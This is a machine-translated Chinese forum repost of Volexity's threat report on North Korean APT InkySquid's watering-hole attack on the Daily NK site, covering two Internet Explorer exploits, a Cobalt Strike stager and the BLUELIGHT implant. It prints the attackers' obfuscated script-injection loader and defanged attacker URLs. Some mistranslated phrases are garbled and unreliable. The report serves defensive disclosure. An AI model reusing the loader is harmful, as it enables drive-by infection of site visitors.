搜索

[29122] 2021-08-18_【威胁情报】朝鲜APTInkySquid使用浏览器漏洞感染受害者

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-19
2021-08-18_【威胁情报】朝鲜APTInkySquid使用浏览器漏洞感染受害者 【 威 胁 情 报 】 朝 鲜   A P T   I n k y S q u i d   使 用 浏 览 器 漏 洞 感 染 受 害 者 O t s 安 全   2 0 2 1 - 0 8 - 1 8 点 击 上 方 蓝 字 “ O t s 安 全 ” 一 起 玩 耍 作 者 ： 达 米 安 · 卡 什 、 乔 什 · 格 伦 茨 威 格 、 马 修 · 梅 尔 策 、 史 蒂 文 · 阿 戴 尔 、 托 马 斯 · 兰 卡 斯 特 V o l e x i t y   最 近 调 查 了   D a i l y   N K   ( w w w . d a i l y n k [ . ] c o m )   网 站 的 战 略 网 络 妥 协   ( S W C ) ， D a i l y   N K   是 一 家 专 注 于 与 朝 鲜 有 关 的 问 题 的 韩 国 在 线 报 纸 。 至 少 在   2 0 2 1   年   3   月 下 旬 至   2 0 2 1   年   6   月 上 旬 ， D a i l y   N K   网 站 上 的 恶 意 代 码 被 发 现 。 这 篇 文 章 提 供 了 有 关 在 深 港 西 部 通 道 使 用 的 不 同 漏 洞 的 详 细 信 息 ， 以 及 所 使 用 的 有 效 载 荷 ， 这 V o l e x i t y 调 用 一 点 通 型 蓝 光 八 卦 。 V o l e x i t y   将 本 文 中 描 述 的 活 动 归 因 于 威 胁 行 为 者   V o l e x i t y   称 为 I n k y S q u i d ， 它 大 致 对 应 于 公 开 名 称 为 S c a r C r u f t   和   A P T 3 7   的 活 动 。 S W C 活 动 活 动 2 0 2 1   年   4   月 ， 通 过 对 客 户 网 络 的 网 络 安 全 监 控 ， V o l e x i t y   发 现 可 疑 代 码 通 过   w w w . d a i l y n k [ . ] c o m   加 载 到 j q u e r y [ . ] s e r v i c e s   的 恶 意 子 域 。 观 察 到 的 加 载 恶 意 代 码 的   U R L   示 例 包 括 ： 这 些   U R L   导 致 合 法 文 件 被 用 作   D a i l y   N K   网 站 正 常 功 能 的 一 部 分 ； 然 而 ， 攻 击 者 修 改 了 它 们 的 内 容 ， 包 括 重 定 向 用 户 以 从 攻 击 者 拥 有 的 域   j q u e r y [ . ]   服 务 加 载 恶 意   J a v a S c r i p t   的 代 码 。 攻 击 者 包 含 的 代 码 只 是 在 短 时 间 内 添 加 并 被 迅 速 删 除 ， 因 此 很 难 识 别 此 活 动 ， 因 为 恶 意 内 容 并 不 总 是 可 用 。 C V E - 2 0 2 0 - 1 3 8 0 V o l e x i t y   首 次 能 够 识 别 返 回 的 恶 意 代 码 时 ， 观 察 到 攻 击 者 使 用 C V E - 2 0 2 0 - 1 3 8 0 ， 这 是   I n t e r n e t   E x p l o r e r   的 一 个 漏 洞 。 攻 击 者 在   D a i l y   N K   上 的 以 下 合 法 文 件 中 添 加 了 一 行 代 码 ： 添 加 到   D a i l y N K   的 混 淆 代 码 行 如 下 ： 这 样 做 的 结 果 是 ， 如 果 用 户 使 用   I n t e r n e t   E x p l o r e r   访 问   D a i l y   N K ， 则 页 面 将 从 以 下   U R L   加 载 额 外 的   J a v a S c r i p t   文 件 ： 当 请 求 时 ， 使 用 正 确 的   I n t e r n e t   E x p l o r e r   用 户 代 理 ， 此 主 机 将 提 供 额 外 的 混 淆   J a v a S c r i p t   代 码 。 与 最 初 的 重 定 向 一 样 ， 攻 击 者 选 择 将 他 们 的 恶 意 代 码 隐 藏 在 合 法 代 码 中 。 在 这 种 特 殊 情 况 下 ， 攻 击 者 在 他 们 自 己 的 代 码 中 使 用 了 “ b P o p U p   ” J a v a S c r i p t   库 。 这 个 决 定 有 两 个 影 响 ： 任 何 手 动 分 析   J a v a S c r i p t   的 人 都 可 能 认 为 它 是 合 法 的 ， 因 为 大 多 数 包 含 的 代 码 都 是 良 性 的 。 用 于 识 别 恶 意   J a v a S c r i p t   的 自 动 化 解 决 方 案 可 能 会 错 误 地 将 代 码 识 别 为 良 性 代 码 ， 因 为 大 部 分 内 容 与 已 知 的 合 法 库 内 容 相 匹 配 并 使 用 在 良 性   J a v a S c r i p t   中 看 到 的 代 码 模 式 。 攻 击 者 包 含 的 漏 洞 利 用 代 码 的 一 个 有 趣 方 面 是 ， 许 多 字 符 串 在 旨 在 看 起 来 像 合 法   S V G   内 容 的 变 量 中 进 行 了 混 淆 。 图   1   给 出 了 攻 击 者 隐 藏 这 些 字 符 串 的 示 例 ： h x x p s : / / w w w . d a i l y n k [ . ] c o m / w p - i n c l u d e s / j s / j q u e r y / j q u e r y . m i n . j s ? v e r = 3 . 5 . 1 h x x p s : / / w w w . d a i l y n k [ . ] c o m / w p - i n c l u d e s / j s / j q u e r y / j q u e r y - m i g r a t e . m i n . j s ? v e r = 3 . 3 . 2 h x x p s : / / w w w . d a i l y n k [ . ] c o m / w p - i n c l u d e s / j s / j q u e r y / j q u e r y . m i n . j s ? v e r = 3 . 5 . 1 f u n c t i o n   v g r a i ( ) { v a r   e = d o c u m e n t . c r e a t e E l e m e n t ( " s c r i p t " ) ; e . s r c = f e c e t ( " w 6 6 2 5 I > > 7 x = y 3 7 t 4 ; = 5 t 4 8 x r t 5 > 4 t 5 2 1 0 5 x 8 t < t : 6 t 0 s = / x 0 = y 5 " , 1 5 ) , d o c u m e n t   . h e a d & & d o c u m e n t . h e a d . a p p e n d C h i l d ( e ) } f u n c t i o n   v d g i e ( ) { c o n s t   e = w i n d o w . n a v i g a t o r . u s e r A g e n t , t = e . i n d e x O f ( " r v : 1 1 . 0   " ) , i = e . i n d e x O f ( " T r i d e n t / " ) ; r e t u r n   t > 0 | | i > 0 } v d g i e ( ) & & v g r a i ( ) ; h x x p s : / / u i . j q u e r y [ . ] s e r v i c e s / r e s p o n s i v e - e x t e n d . m i n . j s
图   1 .   伪 造 的   S V G   变 量 中 的 混 淆 字 符 串 为 了 解 密 字 符 串 ， 执 行 以 下 步 骤 ： 1 .   通 过 “ M 4 3 . 2 ” 字 符 串 拆 分 “ p a t h ” 变 量 的 “ d ” 属 性 中 包 含 的 数 据 。 2 .   取 拆 分 数 据 中 的 每 个 元 素 ， 并 在 空 格 字 符 上 再 次 拆 分 ， 从 而 得 到 一 个 数 字 列 表 。 3 .   将 每 个 结 果 数 字 转 换 为 整 数 。 4 .   如 果 此 整 数 大 于   3 0 ， 则 减 去   1 7   并 将 其 附 加 到 结 果 字 符 串 中 。 如 果 整 数 为   3 0   或 更 少 ， 则 丢 弃 它 。 V o l e x i t y   的   G i t H u b   页 面 在 这 里 提 供 了 一 个 用 于 解 码 这 些   S V G   变 量 的   P y t h o n   脚 本 。 总 共 使 用 了 三 个 伪 造 的   S V G   对 象 。 一 旦 来 自 这 些 对 象 的 字 符 串 被 替 换 到 剩 余 的   J a v a S c r i p t   中 ， 识 别 漏 洞 利 用 就 变 得 更 容 易 了 。 结 果 代 码 的 关 键 部 分 如 图   2   所 示 ： 图   2 .   C V E - 2 0 2 0 - 1 3 8 0   的 实 现 此 代 码 对 应 于 已 被 T r e n d M i c r o 详 细 记 录 的   C V E - 2 0 2 0 - 1 3 8 0   的 公 开 可 用 的 概 念 验 证   ( P o C )   代 码 。 在 成 功 利 用 之 后 ， J a v a S c r i p t   使 用 前 面 描 述 的 相 同 技 术 解 密 最 终 的   S V G   变 量 。 生 成 的   b l o b   包 含 一 个   C o b a l t   S t r i k e   s t a g e r   的 十 六 进 制 编 码 表 示 ， 它 被 解 码 和 执 行 。 在 这 种 情 况 下 ， 它 希 望 下 载 额 外   s h e l l c o d e   的   U R L   如 下 ： C V E - 2 0 2 1 - 2 6 4 1 1 在 另 一 个 场 合 ， 使 用 了 C V E - 2 0 2 1 - 2 6 4 1 1 ， 这 是 另 一 个 针 对   I n t e r n e t   E x p l o r e r   和   M i c r o s o f t   E d g e   旧 版 本 的 漏 洞 。 重 定 向 代 码 的 设 置 方 式 与   C V E - 2 0 2 0 - 1 3 8 0   相 同 ， 唯 一 的 区 别 是 使 用 的 漏 洞 利 用 代 码 。 图   3   和 图   4   给 出 了 所 使 用 的 漏 洞 利 用 代 码 的 关 键 部 分 。 它 可 能 是 韩 国 安 全 公 司   E n k i   在 此 处 发 布 的 P o C   代 码 的 直 接 实 现 。 图   3 .   攻 击 者 使 用 的 关 键 漏 洞 利 用 代 码 h x x p s : / / u i . j q u e r y [ . ] s e r v i c e s / s w i p e o u t . m i n . j s h x x p s : / / u i . j q u e r y [ . ] s e r v i c e s / s w i p e o u t . m i n . c s s h x x p s : / / u i . j q u e r y [ . ] s e r v i c e s / s l i d e r . m i n . c s s
图   4 .   E n k i   安 全 博 客 上 发 布 的   P o C   代 码 与   C V E - 2 0 2 0 - 1 3 8 0   示 例 一 样 ， 攻 击 者 利 用 存 储 在   S V G   标 签 中 的 编 码 内 容 来 存 储 密 钥 字 符 串 及 其 初 始 负 载 。 初 始 命 令 和 控 制   ( C 2 )   u r l   与 在   C V E - 2 0 2 0 - 1 3 8 0   案 例 中 观 察 到 的 相 同 。 B L U E L I G H T 在 另 一 种 情 况 下 ， 攻 击 者 使 用   j q u e r y [ . ]   服 务 的 不 同 子 域 来 托 管 一 个 新 的 和 新 颖 的 恶 意 软 件 系 列 。 该 文 件 托 管 在 以 下 位 置 ： “ 历 史 ” 文 件 是 自 定 义 恶 意 软 件 家 族 的   X O R   编 码   ( 0 x C F )   副 本 ， 恶 意 软 件 开 发 人 员 和   V o l e x i t y   都 将 其 称 为   B L U E L I G H T 。 该 绰 号 源 自 恶 意 软 件 中 观 察 到 的   P D B   字 符 串 ： 在 成 功 交 付   C o b a l t   S t r i k e   之 后 ， B L U E L I G H T   很 可 能 被 用 作 辅 助 载 荷 ， 在 本 报 告 前 面 强 调 的 两 个 漏 洞 利 用 案 例 中 ， 它 都 被 用 作 初 始 载 荷 。 为 本 报 告 分 析 的 文 件 具 有 以 下 详 细 信 息 ： B L U E L I G H T   恶 意 软 件 系 列 使 用 不 同 的 云 提 供 商 来 促 进   C 2 。 此 特 定 示 例 利 用   M i c r o s o f t   G r a p h   A P I   进 行   C 2   操 作 。 启 动 时 ， B L U E L I G H T   使 用 硬 编 码 参 数 执 行   o a u t h 2   令 牌 身 份 验 证 。 客 户 端 通 过 身 份 验 证 后 ， B L U E L I G H T 在   O n e D r i v e 应 用 程 序 文 件 夹 中 创 建 一 个 新 的 子 目 录 ， 并 使 用   C 2   协 议 使 用 的 几 个 子 目 录 填 充 它 。 使 用 了 以 下 子 目 录 名 称 ： l o g o n o r m a l b a c k g r o u n d t h e m e r o u n d 设 置 文 件 夹 和 子 目 录 后 ， 将 收 集 包 含 以 下 信 息 的 侦 察 数 据 ， 格 式 为   J S O N   对 象 ： 用 户 名 计 算 机 名 称 操 作 系 统 版 本 网 络 I P 默 认 接 口 的 本 地 I P 当 地 时 间 植 入 二 进 制 文 件 是   3 2   位 还 是   6 4   位 进 程   S I D   权 限 级 别 进 程 文 件 名 已 安 装 的   A V   产 品 列 表 受 感 染 的 机 器 是 否 运 行 了   V M   工 具 数 据 被   X O R   编 码 为 二 进 制   b l o b   并 上 传 。 所 有 进 一 步 的 侦 察 和 命 令 响 应 数 据 都 进 行 了 类 似 的 编 码 。 这 个 版 本 的 植 入 程 序 几 乎 所 有 上 传 的 文 件 都 使 用 了 “ . j p g ” 扩 展 名 ， 无 论 其 内 容 如 何 ， 不 同 的 子 目 录 和 基 本 文 件 名 表 示 不 同 类 型 的 命 令 数 据 。 例 如 ， 侦 察 数 据 被 上 传 到 “ l o g o / t i t l e . j p g ” 路 径 。 主   C 2   循 环 在 初 始 上 传 侦 察 数 据 后 开 始 ， 大 约 每   3 0   秒 迭 代 一 次 。 在 前 五 分 钟 ， 每 次 迭 代 都 会 捕 获 显 示 的 屏 幕 截 图 并 将 其 上 传 到 “ 正 常 ” 子 目 录 ， 并 将 编 码 的 时 间 戳 作 为 文 件 名 。 前 五 分 钟 后 ， 屏 幕 截 图 每 五 分 钟 上 传 一 次 。 每 次 迭 代 时 ， 客 户 端 还 将 通 过 枚 举 “ 背 景 ” 子 目 录 的 子 目 录 来 查 询 新 命 令 。 文 件 名 指 示 要 执 行 的 命 令 ， 文 件 内 容 提 供 更 多 特 定 于 命 令 的 信 息 。 支 持 以 下 命 令 ： 执 行 下 载 的 s h e l l c o d e 。 下 载 并 启 动 可 执 行 文 件 ， 然 后 上 传 程 序 输 出 。 为 支 持 的 浏 览 器 收 集   c o o k i e   和 密 码 数 据 库 。 —   支 持 ： W i n 7   I E 、 W i n 1 0   I E 、 E d g e 、 C h r o m e   和 N a v e r   W h a l e 递 归 搜 索 路 径 并 上 传 文 件 元 数 据 （ 时 间 戳 、 大 小 和 完 整 路 径 ） 。 生 成 一 个 线 程 以 递 归 搜 索 路 径 并 将 文 件 上 传 为   Z I P   存 档 。 终 止 文 件 上 传 线 程 。 卸 载 植 入 物 。 命 令 文 件 在 处 理 后 被 删 除 。 大 多 数 命 令 的 结 果 文 件 上 传 到 “ r o u n d ” 目 录 ； 但 是 ， Z I P   上 传 使 用 “ 主 题 ” 子 目 录 。 结 论 结 论 虽 然   S W C   不 像 以 前 那 么 受 欢 迎 ， 但 它 们 仍 然 是 许 多 攻 击 者 武 器 库 中 的 武 器 。 对   I n t e r n e t   E x p l o r e r   和   M i c r o s o f t   E d g e   使 用 最 近 修 补 的 漏 洞 仅 适 用 于 有 限 的 受 众 。 然 而 ， 攻 击 者 仍 然 会 取 得 一 些 成 功 ， 并 且 很 有 可 能 根 据 其 攻 击 的 以 下 属 性 来 避 免 检 测 ： 在 合 法 代 码 中 巧 妙 伪 装 漏 洞 利 用 代 码 ， 使 其 更 难 识 别 只 允 许 可 利 用 的 用 户 代 理 访 问 漏 洞 利 用 代 码 ， 难 以 大 规 模 识 别 （ 例 如 通 过 自 动 扫 描 网 站 ） 使 用 许 多 解 决 方 案 不 太 可 能 检 测 到 的   C 2   机 制 成 功 利 用 后 ， 使 用 创 新 的 自 定 义 恶 意 软 件 ， 例 如   B L U E L I G H T h x x p s : / / s t o r a g e . j q u e r y [ . ] s e r v i c e s / l o g / h i s t o r y E : D e v e l o p m e n t B A C K D O O R n c o v R e l e a s e b l u e l i g h t . p d b
这 项 活 动 如 何 归 因 于   I n k y S q u i d （ 又 名   S c a r C r u f t ， A P T 3 7 ） ？ 这 将 在 后 续 帖 子 中 进 一 步 解 释 ， 敬 请 期 待 ！ I o C   和 签 名 和 签 名 与 此 帖 子 相 关 的   I o C   和 签 名 可 在 此 处 的   V o l e x i t y   的   G i t H u b   页 面 上 找 到 参 考 参 考 i o c h t t p s : / / g i t h u b . c o m / v o l e x i t y / t h r e a t - i n t e l / t r e e / m a i n / 2 0 2 1 / 2 0 2 1 - 0 8 - 1 7 % 2 0 - % 2 0 I n k y S q u i d % 2 0 P a r t % 2 0 1 / i n d i c a t o r s 。 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理